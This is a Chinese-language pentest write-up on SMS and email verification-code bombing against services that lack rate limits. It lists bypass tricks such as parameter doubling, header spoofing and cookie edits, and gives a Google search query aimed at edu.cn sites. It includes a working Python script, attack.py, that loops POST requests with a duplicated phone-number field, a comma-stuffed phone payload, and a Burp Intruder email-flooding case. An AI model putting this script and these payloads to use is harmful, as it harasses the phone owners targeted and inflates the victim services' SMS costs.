原理
服务器程序并未对请求次数进行限制,或者是限制不严格导致,导致可以大量重复发送短信验证码。该漏洞会对其他用户造成骚扰或使厂商的运营商短信费用的增加,造成损失。
绕过思路:
空格,大小写绕过,修改cookie,修改返回值,多次叠加参数绕过,修改XXF头绕过等可参考,也可配合并发工具Turbo Intruder进行测试
Google语法:
inurl:edu.cn 验证码
短信hongzha案例:
我们日常发验证码页面抓包,点击发送。成功发送一条短信,当再次点击时候,已经返回为空了。这里我们猜测可能是那一部分做了限制。
##审核不让配图啊 这次没图了
我们尝试双写,发现可以绕过,而且发送了两条短信,再次发送的时候已经没有反应了。
当时有两种思路:一是写一个Python脚本进行post循环发包,循环的过程中后面再双写一遍;二是直接写很多遍手机号用逗号隔开。
第一种方法 Python脚本
# -*- coding: utf-8 -*-
'''
@Time : 2023-03-10 9:01
@Author : whgojp
@File : attack.py
#使用request post发包
'''
import requests
from lxpy import copy_headers_dict
url = "www.xxx.com"
request_header = """
#这里是请求头参数 字符串直接复制过来就行
"""
header = copy_headers_dict(request_header)
# print(header)
mobileNumber = xxxxxxxxxxx #这里填手机号
totalMessageAttack = 0
for i in range(5): #循环次数自己可以设置 循环五次就是:1+2+3+4+5=19
totalMessageAttack += i
mobileNumber = str(mobileNumber) + ',,'+str(format(mobileNumber))
payload = dict(sjhm=mobileNumber)
try:
response = requests.post(url,headers=header,verify=False,data=payload) #verify=False表示忽略对 SSL 证书的验证,但是仍然会有警告
print(response.status_code)
except Exception as e:
print("出错了啊:"+str(e))
print("一共发送了"+str(totalMessageAttack)+"次短信!")
第二种方法:
mobile=xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,
邮箱hongzha案例:
某学习注册新用户窗口,抓包发送到intruder模块
设置intruder payload位置
尝试发送六十条进行测试:
emmm 短信hongzha 好像不收